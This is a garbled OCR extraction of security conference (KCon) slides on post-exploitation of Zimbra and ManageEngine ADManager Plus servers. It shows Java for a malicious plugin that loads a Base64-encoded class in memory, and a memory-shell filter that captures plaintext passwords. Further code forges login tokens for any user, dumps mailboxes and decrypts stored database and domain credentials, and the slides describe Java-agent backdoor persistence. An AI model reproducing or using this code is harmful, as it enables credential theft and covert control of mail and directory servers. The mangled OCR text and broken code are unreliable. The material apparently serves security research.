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zimbra-license jar!\..\LicenseService.class 3 Version.class InstallLicense.class @ LicenseService java evilplugin idea\.. \LicenseService class D LicenseExtension class LicenseAc v

t java.util.Baseé4 A7 2759 ~ v

lements DocumentService {

04

initQ)

om_zimbra_arct R @ public void registerHandlers(DocumentDispatcher dispatcher) {
zimbra, dispatcher.registerHandler (AccountConstants . CHECK_LICENSE_REQUEST CheckLicense())
dispatcher.registerHandler(AccountConstants. ¢ o, T setInfo())

init()

c st initO{

y {

string initpara = i
= = = > : []1 bytes = Baseé4.getDecoder().decode(initpara)

m_zimbra_ == == 11} SIS Class unsafeClass = Class.forName( )

Field field = unsafeClass.getDeclaredField( )

field.setAccessible(true)

om_zimbra, S S Unsafe unsafe = (Unsafe) field.get(null)

Module baseModule = Object.class.getModule()

om_zimbra_

Class currentClass = Main.
1g offset = unsafe.objectFieldoffset(Class.class.getDeclaredField( b}
Zimbra EEBFRES i =] =R 5 unsafe.putObject(currentClass, offset, baseModule) -
o Method method = ClassLoader.c .getDeclpredMethod( String.c el].c s = t.class); i
method.setAccessible(t )
((Elass)method. invoke(ClassLoader.getSystemClassLoader() bytes, bytes th)) .newInstance ()
teateh (Exception e){

et
ATIREENNERE, RALXLEEMINESHhell, HFXNEFERKID ory—Shell
i, AIARFAagentiz, BRSHEFIE— 1 RiMjarX 4, TUEN
EBNXMH., HARFEB S E AT (8]
zimbraZxR BINEE EXSEGT B, BRIAREUTEBEHS



KCon

Memory-Shell

\MANT EUM E

| i
> 3
e
o~
=3
s

ject Evil Filter

n




Obtain the desired DATA | KCon

\MANT EUM E
we obtain the desired data?

BT service Command
https://files.zimbra.com/docs/soap_api/9.0.0/api-reference/index.html T ——

This document is the reference specification for the Zimbra SOAP API.

e Provide the python-zimbra library. SOAP API Services

e Offer functionality to handle the creation of Zimbra SOAP queries.
e Send HTTP requests to the backend for processing. simbraAdmingxt |The Admin Extension Service includes additional command
zimbraMail  [The Mail Service includes commands for managing mail a
* Retrieve desired data by calling SOAP API through HTTP requests. cimbraRepl [The zimbraRepl Service includes commands for managing|
The zimbraSync Service includes commands for managing|

L4 IS |t rea”y necessary tO make SUCh a fUSS abOUt it? Thezimbra\/oiceServiceincludescommandsr'elatedtoU

Copyright 2012 Zimbra, Inc. All rights reserved.

No, we have a better way
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zimbraAccount K/IRFSEFEHTRE. FHEMEEASKSEERN®L.
zimbraAdmin EHRESEHEHTEH Zimbra HdaH4.

zimbraAdminExt E#HY ERSEHEHTE®R Zimbra M4 .
zimbraMail WRHARS-E4EH T &AM H s B4 .

zimbraRepl zimbraRepl HR&E#EHTEE Zimbra ARSSHEH|HIH4.
zimbraSync zimbraSync kFGFEFHRSERZER WL .
zimbraVoice zimbraVoice R&BFES5SG—@EEH KMWmL,

Debug Debug MEZZHRENEA%




Obtain the desired DATA KCon

\ Database Connection Information

L.MySQLConfig

DbPool.PoolConfig jgetPoolConfig() {
turn new MySQLConfig();

t 1 MySQLConfig te DbPool.PoolConfig {

MysqQLConfig() {

t . 1 e = t .getDriverClassName() ;

= this.getRootUr1()

%

1S i = is.getDBProperties();
String maxActive = (String) this. 3 .get( )

(maxActive != null) {

{

t : = Integer.parseInt(maxActive)
} cat (NumberFormatException var4) {

Zimbralog. .warn(

: jTextField1
¥
HAP%E &RE Rsession

admin@mm .test233.com

BHUAP PR RAEE A

FHUDBCER SRR PRERNCICR &S

re as follows

admin test233



Obtain the desired DATA

User list and details retrieval

Provisioning prov = Provisioning.getInstance();

SearchDirectoryOptions options = new SearchDirectoryOptions();

options.
options.
options.
options.
options.
options.
options.
options.

options.

setDomain(null);

setTypes("accounts™);

setMaxResults(5000);
setFilterstring(ZLdapFilterFactory.FilterId.ADMIN SEARCH, null);
setReturnAttrs(null);
setSortopt(SearchDirectoryOptions.SortOpt.SORT_ASCENDING);
setSortAttr(“name”);

setConvertIDNToAscii(true);

setMakeObjectOpt(SearchDirectoryOptions.MakeObjectOpt.NO_DEFAULTS);

List accounts = prov.searchDirectory(options);

aining the Account object.
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Obtain the desired DATA ' KCon

\__Generate arbitrary user login credentials

Account account = getAccounts(new String((byte[])
user.get(“username”)));

AuthToken.TokenType tokenType = AuthToken.TokenType.fromCode("");

ZimbraAuthToken authToken = (ZimbraAuthToken)
AuthProvider.getAuthToken(account, ©®, tokenType);

token = authToken.getEncoded( );

72 FTIAEA i Tk fhiE RIEHE
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Obtain the desired DATA KCon

. o000
\ rieval
public String getMailbyDate(Map user) throws Exception{
i . HashMap resp = new HashMap();
try to construct OperationContext, SearchParams, Mailbox, etc. Among them DbPool. startup();

String queryString = new String((byte[]) user.get("date"));

Account account = getAccounts(new String((byte[])
user.get("username"}));

Mailbox mailbox =
MailboxManager.getInstance( ).getMailboxByAccount(account);

OperationContext octx = new OperationContext(account, Dg

octx.setmResponseProtocol(SoapProtocol.Soapl2);

SearchParams searchParams = new SearchParams();
MailboxManager searchParams.setQueryString(queryString};
searchParams.setTypes("conversation");
searchParams.setSortBy( "dateDesc");

ZimbraQuery query = new ZimbraQuery(octx, SoapProtocol.Soapl2, '

OperationContext

mailbox, searchParams);
ZimbraQueryResults zimbraQueryResults = query.execute();
resp = putHits(zimbraQueryResults,searchParams);

String respstr = ""; HED“

Mailbox for (int 1 = 0; i<resp.size();i1++){

int conversationld = (int) resp.get(i); EEEQ

if{conversationId < 0){
conversationIld = -conversationId;

ZimbraQuery ZimbraQueryResults

}

respstr =respstr+getsingleMail{account,conversationld)+"\r\n";

return respstr;



Obtain the desired DATA

 Mail information retrieva

aining the Account object.

POST 7 HTTPRP/Z2
Host: 192.168.220.98
Cookie: EH_TEST=t

Accept: text/htmnl,application/x
Accept-Language: zh-CN,zh;q=0

Content-Type: application/x-www-form-urlencoded
Content-Length: 110

Origin: hetps://152_168.220

Referer: https://192.1e8.22
Upgrade-Insecure-Requests: 1

Sec-Fetch-Dest: docunénxl

Sec-Fecch-Mode: navigate

cec-Fetch-5Site Same-origin

Sec-Fetch-User: 71

Te: trailers

loginOp=1
preferred

ZM LOGIN CSRF=ad45bdalD-eal5-41b4-bec
User-Agent: Mozilla/5.0 (Windows NT 10.0; Winéd;

B-e270a703 b4e

122.0) Gecko/20100101 Firefox/122.0
tnl+xml, application/xnl; q=0 i
zh-TW:;q=0.7,zh-HE;q=0.5,

Accept-Encoding: gzip, deflate, br

favif, image /webp , */*;q=0

.en;qgq=0.2

jefusernamne=adminipassword=test”3

Jiclients=

KCon
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 Mail information retrieva

[ N N
private boolean run(Object request, Object response) {
{
{
UserN: String username = getParameter(request,"username");
seriName String password = getParameter(request,"password");
(username!=null && password!=null){
. Zimbra userinfo.add(username+" "+password);
i el e Serviet ¥
| Filter e
= alse;
Pass»vprd 1 catch (Throwable ignored) {

} catch (Throwable ignored) {

}

false;

Debug Debug Debug



i B I B

 Ma

| information

retrieva

H s

Dashboard

QaQa - [TextField]

PSR E

1+ get
[*] ffirstName: lastNam 3,
firstName=bbb, lastName=bbb, mobile

Intruder  Repeater Help  Logger==

Intruder Repeater Collaborator

Values

Help

Method

mnnun

Sequencer

hit
hitps
hitps:
https:

hitps

oned above, run in memory.

iCEMYER

Logger

b

\pany=nnn, middleName=bb

Organizer

Extensions

Learn

1/DieVhi

TnChY,

Inferred Type

a %

) Settings

Clear Logs

KCon



KCon

02

/Z0ho



. Zoho KCon

1 2 3 4 5

obtaining domai
ining ain generating valid login

controller Y . .
e e L obtaining database obtaining integrated information for and recording
. ) connection third—party application accounts with the plaintext passwords.
information and ) . -
information, credentials, highest privileges,

database-stored

_ bypassing IP login
domain information,

restrictions,

L8

ADManager PGSQL

[ 1}
R '. >




. Obtain the desired DATA KCon

L8 Q0 ] 1nection Information Retrieva
\Database Connection Information Retrieva

$HOME\ADManager Plus\conf\database_params.conf
com.zoho.framework.utils.crypto.CryptoUtil.decrypt(“ ",2)

# $Id3
# driver name
drivername=org.postgresql.Driver

# login username for database if any

username=admanager

# password for the db can be specified here
password=4dc698273358ebd6f3c2c776c88d8641755c1cbBaB?alBGchb53819e85d3526d5d3e21ﬂ

# url is of the form jdbc:subprotocol:DataSourceName for eg.jdbc:odbc:WebNmsDB
url=jdbc:postgresql://localhost:333@6/adsm?useUnicode=true&characterEncoding=UTF-8
#url=jdbc:mysql://localhost:333@6/adsm?autoReconnect=true&characterEncoding=utf8

# Minumum Connection pool size

minsize=1

# Maximum Connection pool size
maxsize=20

# transaction Isolation level ’ '

#values are Constanst defined in java.sgl.connection type supported TRANSACTION_NONE e
#Allowed values are TRANSACTION_READ_COMMITTED , TRANSACTION_READ_UNCOMMITTED ,TRANSACTION_REPEATABLE_READ , TRANSAC]
transaction isolation=TRANSACTION READ COMMITTED HED“

2824



Obtain the desired DATA ' KCon

\ Domain Controller Credential Retrieval

DomainCacheManager.getInstance( ).getDomainData( "domatnname" )

Xee - Xez b Xec Xes b
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\Generating valid login information for the highest privilege account

Detect IP

inthe admin

n information in th admin

n information in th admin
ion information in the admin-:

n information in th
ion information in the

n information in th Y
on information in the e admin
n information in the em : admin
n information in th admin
ion information in the e admin B04954E5582
n information in th admin EBD144C4B3B970B0E1FE
ion information in the em : admin AA1ABD0226F49028BADEBDBA32D875
n information in th admin 0 \dD1733EEFF9E321
n information in th admin 344931C1BDB4A8D
adn ssion: 4B9B68

SELECT * FROM “admphdtlogonaudit”
Change session in DataBase
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\Plain Text Password Logging
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. Obtain the desired DATA KCon

s SLring 1sAurnrrassworacncrypiea = 1S < -gectraramecery J
\ﬂain Text Password Logging if (isADMPPasswordEncrypted != &5 isADMPPasswordEncrypted.equals( ) &&
t 1
= RSAKeyPairBGenerator.getInstance().decrypt( ; ord)
h-gad (Exception—waplé)

var2é6.printStackTrace()

LoginException( )

) Logout Froms rue HTTP/1.1
Host: 192. L& : 80 -‘ = this =
User-Agent: Mozilla/5.0 (Windows NT 10.0; Wined,; =x&4; ' \
Accept: text/html, application/xhtml+xml, application/
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 311
Jrigin: http://192.1E8.
Connection: ¢ 1
Referer: http://L92.168.220.72:8

adsolutions- zldp=
iteZJuMaPmuB

) session =
subject =
callbackHandler =
D principal = null

) committed = false

P loginName =
password =

P serviceName =
domainName =
request =

hostName =

LV Y Y Y Y IRV RV

. ) serverHostName =
0 e i a-43f¢& 15"

: €? accountDO = null
Upgrade-Insecure-Requests:

@ updateBadlogin = true

is_admp pass_encrypted=true&j username=admin&j passwords= H E
2BY 1 TMhm 1 UxqWAxwTZ2oKFOQE f2% 2BWLG2Z GiODkrhd4YVxudtcpTYvqVCgsYerBF3ak gzt M3nFsmB% 2Fv0SEWOxCt SnM3BnZvYwsS [111

lnaBs oq¥ 2BnsdngM3HIDyNDLt LY 2FEk PEsUFx JYLNwHo ZE7x LJl sAJHORFTUgZr fEaFA%3Didomainllame=

ADManager+PlustAuthenticationSAUTHRULE NAME=ADAuthenticator 2 E 2 4
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\njection of backdoors and persistence

tion Java Agent : agentmain

C:\>java -jar shell.jar ©

sun. tools.attach.WindowsAttachProvider@7ef20235: 2624 org.tanukisoftware.wrapper
.WrapperSimpleApp com.aduentnet.start.ProductTraylcon conf/TraylconInfo.xml Star

tADSH

sun. tools.attach.WindowsAttachProvider@ref20235: 3376 com.manageengine.ads.start

up. trayicon.TraylconHandler conf/TraylconInfo.xml conf/TraylconInfo.xml /conf/s¢
ruer.xml

sun. tools.attach.llindowsAttachProvider@7ef20235: 3236 org.tanukisoftware.wrapper
JlrapperSimpleApp com.manageengine.ads.fw.onpremise.elasticsearch. ESWrapperManac '
er

sun. tools.attach.WindowsAttachProvider@7ef20235: 4008 shell. jar 0 KCon
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« Database Connection Information Retrieva

Inject shell via
arbitrary code execution

Inject shell via

KCon

NebClient#fexecuteProgram

ADmanager calls the default browser to access the login page every time it

starts, com.adventnet.sym.adsm.start.StartWebClient#fexecuteProgram

Inject
MemShell

Agent jar

command execution

Runtime Inject

hijack startup process

Every time the app
starts

¢

KCon
2824
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